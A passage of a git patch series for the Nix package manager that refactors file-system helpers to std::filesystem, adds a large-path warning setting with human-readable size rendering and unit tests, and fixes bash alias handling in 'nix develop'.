std::filesystem::rename(tempLink, link); } Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot) diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index 3a48f4480..6743c633e 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -64,7 +64,7 @@ protected: AutoDelete del(tmp, false); StreamToSourceAdapter source(istream); writeFile(tmp, source); - renameFile(tmp, path2); + std::filesystem::rename(tmp, path2); del.cancel(); } diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 800e69309..1f31f9bd8 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1779,7 +1779,7 @@ void LocalStore::addBuildLog(const StorePath & drvPath, std::string_view log) writeFile(tmpFile, compress("bzip2", log)); - renameFile(tmpFile, logPath); + std::filesystem::rename(tmpFile, logPath); } std::optional LocalStore::getVersion() diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/unix/build/derivation-goal.cc index 8d6e35015..89518b055 100644 --- a/src/libstore/unix/build/derivation-goal.cc +++ b/src/libstore/unix/build/derivation-goal.cc @@ -783,7 +783,7 @@ static void movePath(const Path & src, const Path & dst) if (changePerm) chmod_(src, st.st_mode | S_IWUSR); - renameFile(src, dst); + std::filesystem::rename(src, dst); if (changePerm) chmod_(dst, st.st_mode); diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 3b010350d..331794292 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -285,7 +285,7 @@ static void movePath(const Path & src, const Path & dst) if (changePerm) chmod_(src, st.st_mode | S_IWUSR); - renameFile(src, dst); + std::filesystem::rename(src, dst); if (changePerm) chmod_(dst, st.st_mode); @@ -372,7 +372,7 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull() if (buildMode != bmCheck && status.known->isValid()) continue; auto p = worker.store.toRealPath(status.known->path); if (pathExists(chrootRootDir + p)) - renameFile((chrootRootDir + p), p); + std::filesystem::rename((chrootRootDir + p), p); } return diskFull; @@ -2569,7 +2569,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() // that there's no stale file descriptor pointing to it Path tmpOutput = actualPath + ".tmp"; copyFile(actualPath, tmpOutput, true); - renameFile(tmpOutput, actualPath); + std::filesystem::rename(tmpOutput, actualPath); auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { .method = dof.ca.method, diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc index 47bf5d49c..bdc724a70 100644 --- a/src/libstore/unix/builtins/unpack-channel.cc +++ b/src/libstore/unix/builtins/unpack-channel.cc @@ -24,7 +24,7 @@ void builtinUnpackChannel( auto entries = readDirectory(out); if (entries.size() != 1) throw Error("channel tarball '%s' contains more than one file", src); - renameFile(entries[0].path().string(), (out + "/" + channelName)); + std::filesystem::rename(entries[0].path().string(), (out + "/" + channelName)); } } diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 39efa19fe..b9f96b88f 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -588,7 +588,7 @@ void replaceSymlink(const Path & target, const Path & link) throw; } - renameFile(tmp, link); + std::filesystem::rename(tmp, link); break; } @@ -651,15 +651,10 @@ void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); } -void renameFile(const Path & oldName, const Path & newName) -{ - fs::rename(oldName, newName); -} - void moveFile(const Path & oldName, const Path & newName) { try { - renameFile(oldName, newName); + std::filesystem::rename(oldName, newName); } catch (fs::filesystem_error & e) { auto oldPath = fs::path(oldName); auto newPath = fs::path(newName); @@ -674,7 +669,7 @@ void moveFile(const Path & oldName, const Path & newName) fs::remove(newPath); warn("Can’t rename %s as %s, copying instead", oldName, newName); copy(fs::directory_entry(oldPath), tempCopyTarget, true); - renameFile( + std::filesystem::rename( os_string_to_string(PathViewNG { tempCopyTarget }), os_string_to_string(PathViewNG { newPath })); } diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 4536accc3..9f3db05c3 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -177,8 +177,6 @@ void createSymlink(const Path & target, const Path & link); */ void replaceSymlink(const Path & target, const Path & link); -void renameFile(const Path & src, const Path & dst); - /** * Similar to 'renameFile', but fallback to a copy+remove if `src` and `dst` * are on a different filesystem. From d3b7367c802337d5430103bff550b3c447cc5b0a Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Sun, 12 May 2024 18:58:05 +0530 Subject: [PATCH 0582/1251] inline usage of `nix::getFileType` and remove it --- src/libstore/gc.cc | 2 +- src/libutil/file-system.cc | 6 ------ src/libutil/file-system.hh | 2 -- 3 files changed, 1 insertion(+), 9 deletions(-) diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 3cd4fb839..877608a84 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -225,7 +225,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R try { if (type == std::filesystem::file_type::unknown) - type = getFileType(path); + type = std::filesystem::symlink_status(path).type(); if (type == std::filesystem::file_type::directory) { for (auto & i : readDirectory(path)) diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index b9f96b88f..cc93da996 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -236,12 +236,6 @@ std::vector readDirectory(const Path & path) } -fs::file_type getFileType(const Path & path) -{ - return fs::symlink_status(path).type(); -} - - std::string readFile(const Path & path) { AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 9f3db05c3..669de704b 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -128,8 +128,6 @@ Descriptor openDirectory(const std::filesystem::path & path); */ std::vector readDirectory(const Path & path); -std::filesystem::file_type getFileType(const Path & path); - /** * Read the contents of a file into a string. */ From ccf94545db454c6b2b964cee8a72835764f64898 Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Sun, 12 May 2024 19:20:17 +0530 Subject: [PATCH 0583/1251] rename `copy` -> `copyFile` and remove old copyFile the old `copyFile` was just a wrapper that was calling the `copy` function. This wrapper function is removed and the `copy` function is renamed to `copyFile`. --- src/libstore/unix/build/local-derivation-goal.cc | 9 +++++++-- src/libutil/file-system.cc | 11 +++-------- src/libutil/file-system.hh | 2 +- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 331794292..9e2b0bd34 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -421,7 +421,9 @@ static void doBind(const Path & source, const Path & target, bool optional = fal } else if (S_ISLNK(st.st_mode)) { // Symlinks can (apparently) not be bind-mounted, so just copy it createDirs(dirOf(target)); - copyFile(source, target, /* andDelete */ false); + copyFile( + std::filesystem::directory_entry(std::filesystem::path(source)), + std::filesystem::path(target), false); } else { createDirs(dirOf(target)); writeFile(target, ""); @@ -2568,7 +2570,10 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() // Replace the output by a fresh copy of itself to make sure // that there's no stale file descriptor pointing to it Path tmpOutput = actualPath + ".tmp"; - copyFile(actualPath, tmpOutput, true); + copyFile( + std::filesystem::directory_entry(std::filesystem::path(actualPath)), + std::filesystem::path(tmpOutput), true); + std::filesystem::rename(tmpOutput, actualPath); auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index cc93da996..294887587 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -605,7 +605,7 @@ static void setWriteTime(const fs::path & p, const struct stat & st) } #endif -void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) +void copyFile(const fs::directory_entry & from, const fs::path & to, bool andDelete) { #ifndef _WIN32 // TODO: Rewrite the `is_*` to use `symlink_status()` @@ -624,7 +624,7 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) } else if (fs::is_directory(fromStatus)) { fs::create_directory(to); for (auto & entry : fs::directory_iterator(from.path())) { - copy(entry, to / entry.path().filename(), andDelete); + copyFile(entry, to / entry.path().filename(), andDelete); } } else { throw Error("file '%s' has an unsupported type", from.path()); @@ -640,11 +640,6 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) } } -void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) -{ - return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); -} - void moveFile(const Path & oldName, const Path & newName) { try { @@ -662,7 +657,7 @@ void moveFile(const Path & oldName, const Path & newName) if (e.code().value() == EXDEV) { fs::remove(newPath); warn("Can’t rename %s as %s, copying instead", oldName, newName); - copy(fs::directory_entry(oldPath), tempCopyTarget, true); + copyFile(fs::directory_entry(oldPath), tempCopyTarget, true); std::filesystem::rename( os_string_to_string(PathViewNG { tempCopyTarget }), os_string_to_string(PathViewNG { newPath })); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 669de704b..acc921ebe 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -190,7 +190,7 @@ void moveFile(const Path & src, const Path & dst); * with the guaranty that the destination will be “fresh”, with no stale inode * or file descriptor pointing to it). */ -void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); +void copyFile(const std::filesystem::directory_entry & from, const std::filesystem::path & to, bool andDelete); /** * Automatic cleanup of resources. From 8b5e8f4fba5728f2b3e90fcd1ab15df77e3ea0e8 Mon Sep 17 00:00:00 2001 From: Graham Christensen Date: Sun, 12 May 2024 16:42:43 -0400 Subject: [PATCH 0584/1251] git putFile: support flake maximalists Passing the commit message as an argument causes update failures on repositories with lots of flake inputs. In some cases, the commit message is over 250,000 bytes. --- src/libfetchers/unix/git.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index fbdac1fe6..fa7ef3621 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -342,7 +342,8 @@ struct GitInputScheme : InputScheme logger->pause(); Finally restoreLogger([]() { logger->resume(); }); runProgram("git", true, - { "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-m", *commitMsg }); + { "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-F", "-" }, + *commitMsg); } } } From 6bf7edb18b2815ac5758c937d69c1098e021edca Mon Sep 17 00:00:00 2001 From: Hraban Luyat Date: Sun, 12 May 2024 21:36:08 -0400 Subject: [PATCH 0585/1251] =?UTF-8?q?fix:=20don=E2=80=99t=20expand=20alias?= =?UTF-8?q?es=20in=20develop=20stdenv=20setup?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This fixes https://github.com/NixOS/nixpkgs/pull/290775 by not expanding aliases when sourcing the stdenv setup script. The way bash handles aliases is to expand them when a function is defined, not when it is used. I.e.: $ alias echo="echo bar " $ echo foo bar foo $ xyzzy() { echo foo; } $ shopt -u expand_aliases $ xyzzy bar foo $ xyzzy2() { echo foo; } $ xyzzy2 foo The problem is that ~/.bashrc is sourced before the stdenv setup, and bashrc commonly sets aliases for ‘cp’, ‘mv’ and ‘rm’ which you don’t want to take effect in the stdenv derivation builders. The original commit introducing this feature (5fd8cf76676a280ae2b7a86ddabc6b14b41ebfe5) even mentioned this very alias. The only way to avoid this is to disable aliases entirely while sourcing the stdenv setup, and reenable them afterwards. --- src/nix/develop.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 08d44d7aa..0363ca829 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -610,7 +610,7 @@ struct CmdDevelop : Common, MixEnvironment } else { - script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\n" + script; + script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\nshopt -u expand_aliases\n" + script + "\nshopt -s expand_aliases\n"; if (developSettings.bashPrompt != "") script += fmt("[ -n \"$PS1\" ] && PS1=%s;\n", shellEscape(developSettings.bashPrompt.get())); From dbe1b51580451bcb08ccc1c768f7f0f4f0e9f421 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 7 May 2024 19:25:44 +0200 Subject: [PATCH 0586/1251] Add setting to warn about copying/hashing large paths MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This is useful for diagnosing whether an evaluation is copying large paths to the store. Example: $ nix build .#packages.x86_64-linux.default --large-path-warning-threshold 1000000 warning: copied large path '/home/eelco/Dev/nix-master/' to the store (6271792 bytes) warning: copied large path '«github:NixOS/nixpkgs/b550fe4b4776908ac2a861124307045f8e717c8e?narHash=sha256-7kkJQd4rZ%2BvFrzWu8sTRtta5D1kBG0LSRYAfhtmMlSo%3D»/' to the store (155263768 bytes) warning: copied large path '«github:libgit2/libgit2/45fd9ed7ae1a9b74b957ef4f337bc3c8b3df01b5?narHash=sha256-oX4Z3S9WtJlwvj0uH9HlYcWv%2Bx1hqp8mhXl7HsLu2f0%3D»/' to the store (22175416 bytes) warning: copied large path '/nix/store/z985088mcd6w23qwdlirsinnyzayagki-source' to the store (5885872 bytes) --- perl/lib/Nix/Store.xs | 2 +- src/libstore/binary-cache-store.cc | 2 +- src/libstore/globals.hh | 10 ++++++++++ src/libstore/local-store.cc | 4 ++-- src/libstore/store-api.cc | 10 ++++++++-- src/libstore/unix/build/worker.cc | 4 ++-- src/libutil/file-content-address.cc | 10 ++++++---- src/libutil/file-content-address.hh | 7 ++++--- src/libutil/serialise.hh | 20 ++++++++++++++++++++ 9 files changed, 54 insertions(+), 15 deletions(-) diff --git a/perl/lib/Nix/Store.xs b/perl/lib/Nix/Store.xs index ee211ef64..e751c2be1 100644 --- a/perl/lib/Nix/Store.xs +++ b/perl/lib/Nix/Store.xs @@ -258,7 +258,7 @@ hashPath(char * algo, int base32, char * path) try { Hash h = hashPath( PosixSourceAccessor::createAtRoot(path), - FileIngestionMethod::Recursive, parseHashAlgo(algo)); + FileIngestionMethod::Recursive, parseHashAlgo(algo)).first; auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); } catch (Error & e) { diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc index 5153ca64f..67d00f364 100644 --- a/src/libstore/binary-cache-store.cc +++ b/src/libstore/binary-cache-store.cc @@ -453,7 +453,7 @@ StorePath BinaryCacheStore::addToStore( non-recursive+sha256 so we can just use the default implementation of this method in terms of addToStoreFromDump. */ - auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); + auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter).first; auto source = sinkToSource([&](Sink & sink) { path.dumpPath(sink, filter); diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 108933422..dc53a07f1 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -1262,6 +1262,16 @@ public: store paths of the latest Nix release. )" }; + + Setting largePathWarningThreshold{ + this, + std::numeric_limits::max(), + "large-path-warning-threshold", + R"( + Warn when copying a path larger than this number of bytes to the Nix store + (as determined by its NAR serialisation). + )" + }; }; diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 800e69309..33c4d7372 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1272,7 +1272,7 @@ StorePath LocalStore::addToStoreFromDump( ? dumpHash : hashPath( PosixSourceAccessor::createAtRoot(tempPath), - hashMethod.getFileIngestionMethod(), hashAlgo), + hashMethod.getFileIngestionMethod(), hashAlgo).first, { .others = references, // caller is not capable of creating a self-reference, because this is content-addressed without modulus @@ -1412,7 +1412,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) PosixSourceAccessor accessor; std::string hash = hashPath( PosixSourceAccessor::createAtRoot(link.path()), - FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false); + FileIngestionMethod::Recursive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false); if (hash != name.string()) { printError("link '%s' was modified! expected hash '%s', got '%s'", link.path(), name, hash); diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 419c55e92..a2095e02e 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -169,7 +169,9 @@ std::pair StoreDirConfig::computeStorePath( const StorePathSet & references, PathFilter & filter) const { - auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); + auto [h, size] = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); + if (size && *size >= settings.largePathWarningThreshold) + warn("hashed large path '%s' (%d bytes)", path, *size); return { makeFixedOutputPathFromCA( name, @@ -210,7 +212,11 @@ StorePath Store::addToStore( auto source = sinkToSource([&](Sink & sink) { dumpPath(path, sink, fsm, filter); }); - return addToStoreFromDump(*source, name, fsm, method, hashAlgo, references, repair); + LengthSource lengthSource(*source); + auto storePath = addToStoreFromDump(lengthSource, name, fsm, method, hashAlgo, references, repair); + if (lengthSource.total >= settings.largePathWarningThreshold) + warn("copied large path '%s' to the store (%d bytes)", path, lengthSource.total); + return storePath; } void Store::addMultipleToStore( diff --git a/src/libstore/unix/build/worker.cc b/src/libstore/unix/build/worker.cc index 03fc280a4..2cca06213 100644 --- a/src/libstore/unix/build/worker.cc +++ b/src/libstore/unix/build/worker.cc @@ -529,9 +529,9 @@ bool Worker::pathContentsGood(const StorePath & path) if (!pathExists(store.printStorePath(path))) res = false; else { - Hash current = hashPath( + auto current = hashPath( {store.getFSAccessor(), CanonPath(store.printStorePath(path))}, - FileIngestionMethod::Recursive, info->narHash.algo); + FileIngestionMethod::Recursive, info->narHash.algo).first; Hash nullHash(HashAlgorithm::SHA256); res = info->narHash == nullHash || info->narHash == current; } diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc index 769042d00..8b1e3117a 100644 --- a/src/libutil/file-content-address.cc +++ b/src/libutil/file-content-address.cc @@ -112,17 +112,19 @@ HashResult hashPath( } -Hash hashPath( +std::pair> hashPath( const SourcePath & path, FileIngestionMethod method, HashAlgorithm ht, PathFilter & filter) { switch (method) { case FileIngestionMethod::Flat: - case FileIngestionMethod::Recursive: - return hashPath(path, (FileSerialisationMethod) method, ht, filter).first; + case FileIngestionMethod::Recursive: { + auto res = hashPath(path, (FileSerialisationMethod) method, ht, filter); + return {res.first, {res.second}}; + } case FileIngestionMethod::Git: - return git::dumpHash(ht, path, filter).hash; + return {git::dumpHash(ht, path, filter).hash, std::nullopt}; } assert(false); } diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh index 145a8fb1f..cd63be551 100644 --- a/src/libutil/file-content-address.hh +++ b/src/libutil/file-content-address.hh @@ -132,14 +132,15 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method); /** * Compute the hash of the given file system object according to the - * given method. + * given method, and for some ingestion methods, the size of the + * serialisation. * * Unlike the other `hashPath`, this works on an arbitrary * `FileIngestionMethod` instead of `FileSerialisationMethod`, but - * doesn't return the size as this is this is not a both simple and + * may not return the size as this is this is not a both simple and * useful defined for a merkle format. */ -Hash hashPath( +std::pair> hashPath( const SourcePath & path, FileIngestionMethod method, HashAlgorithm ha, PathFilter & filter = defaultPathFilter); diff --git a/src/libutil/serialise.hh b/src/libutil/serialise.hh index 6249ddaf5..18f4a79c3 100644 --- a/src/libutil/serialise.hh +++ b/src/libutil/serialise.hh @@ -283,6 +283,26 @@ struct LengthSink : Sink } }; +/** + * A wrapper source that counts the number of bytes read from it. + */ +struct LengthSource : Source +{ + Source & next; + + LengthSource(Source & next) : next(next) + { } + + uint64_t total = 0; + + size_t read(char * data, size_t len) override + { + auto n = next.read(data, len); + total += n; + return n; + } +}; + /** * Convert a function into a sink. */ From 5314430437d117d2e041b87cc568702c66f8702a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 10 May 2024 16:49:40 +0200 Subject: [PATCH 0587/1251] Move printSize() into libutil Also always include the unit (i.e. "MiB" instead of "M"). --- src/libutil/util.cc | 15 +++++++++++++++ src/libutil/util.hh | 6 ++++++ src/nix/path-info.cc | 17 +++-------------- src/nix/path-info.md | 4 ++-- 4 files changed, 26 insertions(+), 16 deletions(-) diff --git a/src/libutil/util.cc b/src/libutil/util.cc index 103ce4232..f893fc12d 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -112,6 +112,21 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites) } +std::string renderSize(uint64_t value) +{ + static const std::array prefixes{{ + 'K', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y' + }}; + size_t power = 0; + double res = value; + while (res > 1024 && power < prefixes.size()) { + ++power; + res /= 1024; + } + return fmt("%6.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power)); +} + + bool hasPrefix(std::string_view s, std::string_view prefix) { return s.compare(0, prefix.size(), prefix) == 0; diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 8b049875a..01e42ce57 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -137,6 +137,12 @@ N string2IntWithUnitPrefix(std::string_view s) throw UsageError("'%s' is not an integer", s); } +/** + * Pretty-print a byte value, e.g. 12433615056 is rendered as `11.6 + * GiB`. + */ +std::string renderSize(uint64_t value); + /** * Parse a string into a float. */ diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc index 921b25d7f..a1a2c40f4 100644 --- a/src/nix/path-info.cc +++ b/src/nix/path-info.cc @@ -139,21 +139,10 @@ struct CmdPathInfo : StorePathsCommand, MixJSON void printSize(uint64_t value) { - if (!humanReadable) { + if (humanReadable) + std::cout << fmt("\t%s", renderSize(value)); + else std::cout << fmt("\t%11d", value); - return; - } - - static const std::array idents{{ - ' ', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y' - }}; - size_t power = 0; - double res = value; - while (res > 1024 && power < idents.size()) { - ++power; - res /= 1024; - } - std::cout << fmt("\t%6.1f%c", res, idents.at(power)); } void run(ref store, StorePaths && storePaths) override diff --git a/src/nix/path-info.md b/src/nix/path-info.md index 789984559..2e39225b8 100644 --- a/src/nix/path-info.md +++ b/src/nix/path-info.md @@ -26,8 +26,8 @@ R""( ```console # nix path-info --recursive --size --closure-size --human-readable nixpkgs#rustc - /nix/store/01rrgsg5zk3cds0xgdsq40zpk6g51dz9-ncurses-6.2-dev 386.7K 69.1M - /nix/store/0q783wnvixpqz6dxjp16nw296avgczam-libpfm-4.11.0 5.9M 37.4M + /nix/store/01rrgsg5zk3cds0xgdsq40zpk6g51dz9-ncurses-6.2-dev 386.7 KiB 69.1 MiB + /nix/store/0q783wnvixpqz6dxjp16nw296avgczam-libpfm-4.11.0 5.9 MiB 37.4 MiB … ``` From cf3b044b7efb67f82d151da66b339a9ad8c1e5ac Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 10 May 2024 16:58:19 +0200 Subject: [PATCH 0588/1251] Make large path warnings human-readable --- src/libstore/store-api.cc | 4 ++-- src/libutil/util.cc | 4 ++-- src/libutil/util.hh | 5 +++-- src/nix/path-info.cc | 2 +- 4 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index a2095e02e..0b78f999e 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -171,7 +171,7 @@ std::pair StoreDirConfig::computeStorePath( { auto [h, size] = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); if (size && *size >= settings.largePathWarningThreshold) - warn("hashed large path '%s' (%d bytes)", path, *size); + warn("hashed large path '%s' (%s)", path, renderSize(*size)); return { makeFixedOutputPathFromCA( name, @@ -215,7 +215,7 @@ StorePath Store::addToStore( LengthSource lengthSource(*source); auto storePath = addToStoreFromDump(lengthSource, name, fsm, method, hashAlgo, references, repair); if (lengthSource.total >= settings.largePathWarningThreshold) - warn("copied large path '%s' to the store (%d bytes)", path, lengthSource.total); + warn("copied large path '%s' to the store (%s)", path, renderSize(lengthSource.total)); return storePath; } diff --git a/src/libutil/util.cc b/src/libutil/util.cc index f893fc12d..16bca093c 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -112,7 +112,7 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites) } -std::string renderSize(uint64_t value) +std::string renderSize(uint64_t value, bool align) { static const std::array prefixes{{ 'K', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y' @@ -123,7 +123,7 @@ std::string renderSize(uint64_t value) ++power; res /= 1024; } - return fmt("%6.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power)); + return fmt(align ? "%6.1f %ciB" : "%.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power)); } diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 01e42ce57..0c8c82bfd 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -139,9 +139,10 @@ N string2IntWithUnitPrefix(std::string_view s) /** * Pretty-print a byte value, e.g. 12433615056 is rendered as `11.6 - * GiB`. + * GiB`. If `align` is set, the number will be right-justified + * (e.g. `__11.6 GiB`). */ -std::string renderSize(uint64_t value); +std::string renderSize(uint64_t value, bool align = false); /** * Parse a string into a float. diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc index a1a2c40f4..47f9baee5 100644 --- a/src/nix/path-info.cc +++ b/src/nix/path-info.cc @@ -140,7 +140,7 @@ struct CmdPathInfo : StorePathsCommand, MixJSON void printSize(uint64_t value) { if (humanReadable) - std::cout << fmt("\t%s", renderSize(value)); + std::cout << fmt("\t%s", renderSize(value, true)); else std::cout << fmt("\t%11d", value); } From 4d0777ca69463cbaba3501c10d16012101bb0933 Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Mon, 13 May 2024 15:36:00 +0530 Subject: [PATCH 0589/1251] fix: copy fileName before calling `std::distance` --- src/libstore/unix/builtins/unpack-channel.cc | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc index c53604145..bb60688ea 100644 --- a/src/libstore/unix/builtins/unpack-channel.cc +++ b/src/libstore/unix/builtins/unpack-channel.cc @@ -22,11 +22,12 @@ void builtinUnpackChannel( unpackTarfile(src, out); auto entries = std::filesystem::directory_iterator{out}; - auto file_count = std::distance(entries, std::filesystem::directory_iterator{}); + auto fileName = entries->path().string(); + auto fileCount = std::distance(std::filesystem::begin(entries), std::filesystem::end(entries)); - if (file_count != 1) + if (fileCount != 1) throw Error("channel tarball '%s' contains more than one file", src); - renameFile(entries->path().string(), (out + "/" + channelName)); + renameFile(fileName, (out + "/" + channelName)); } } From f0b5628eb2ff90bf6e7009966d1fad39214c303d Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 13 May 2024 12:08:45 +0200 Subject: [PATCH 0590/1251] renderSize(): Add some unit tests --- tests/unit/libutil/tests.cc | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc index b66872a6e..9be4a400d 100644 --- a/tests/unit/libutil/tests.cc +++ b/tests/unit/libutil/tests.cc @@ -421,6 +421,23 @@ namespace nix { ASSERT_EQ(string2Int("-100"), -100); } + /* ---------------------------------------------------------------------------- + * renderSize + * --------------------------------------------------------------------------*/ + + TEST(renderSize, misc) { + ASSERT_EQ(renderSize(0, true), " 0.0 KiB"); + ASSERT_EQ(renderSize(100, true), " 0.1 KiB"); + ASSERT_EQ(renderSize(100), "0.1 KiB"); + ASSERT_EQ(renderSize(972, true), " 0.9 KiB"); + ASSERT_EQ(renderSize(973, true), " 1.0 KiB"); // FIXME: should round down + ASSERT_EQ(renderSize(1024, true), " 1.0 KiB"); + ASSERT_EQ(renderSize(1024 * 1024, true), "1024.0 KiB"); + ASSERT_EQ(renderSize(1100 * 1024, true), " 1.1 MiB"); + ASSERT_EQ(renderSize(2ULL * 1024 * 1024 * 1024, true), " 2.0 GiB"); + ASSERT_EQ(renderSize(2100ULL * 1024 * 1024 * 1024, true), " 2.1 TiB"); + } + #ifndef _WIN32 // TODO re-enable on Windows, once we can start processes /* ---------------------------------------------------------------------------- * statusOk From 553468216636a0037f988a31f95cda40a0e7e3d0 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 13 May 2024 10:29:35 +0200 Subject: [PATCH 0591/1251] Update src/libutil/util.hh Co-authored-by: Robert Hensing --- src/libutil/util.hh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 0c8c82bfd..6db59ef20 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -139,8 +139,8 @@ N string2IntWithUnitPrefix(std::string_view s) /** * Pretty-print a byte value, e.g. 12433615056 is rendered as `11.6 - * GiB`. If `align` is set, the number will be right-justified - * (e.g. `__11.6 GiB`). + * GiB`. If `align` is set, the number will be right-justified by + * padding with spaces on the left. */ std::string renderSize(uint64_t value, bool align = false); From 62e1ea2f4b563d73fac8d48feae0e9968c9c5bc9 Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Mon, 13 May 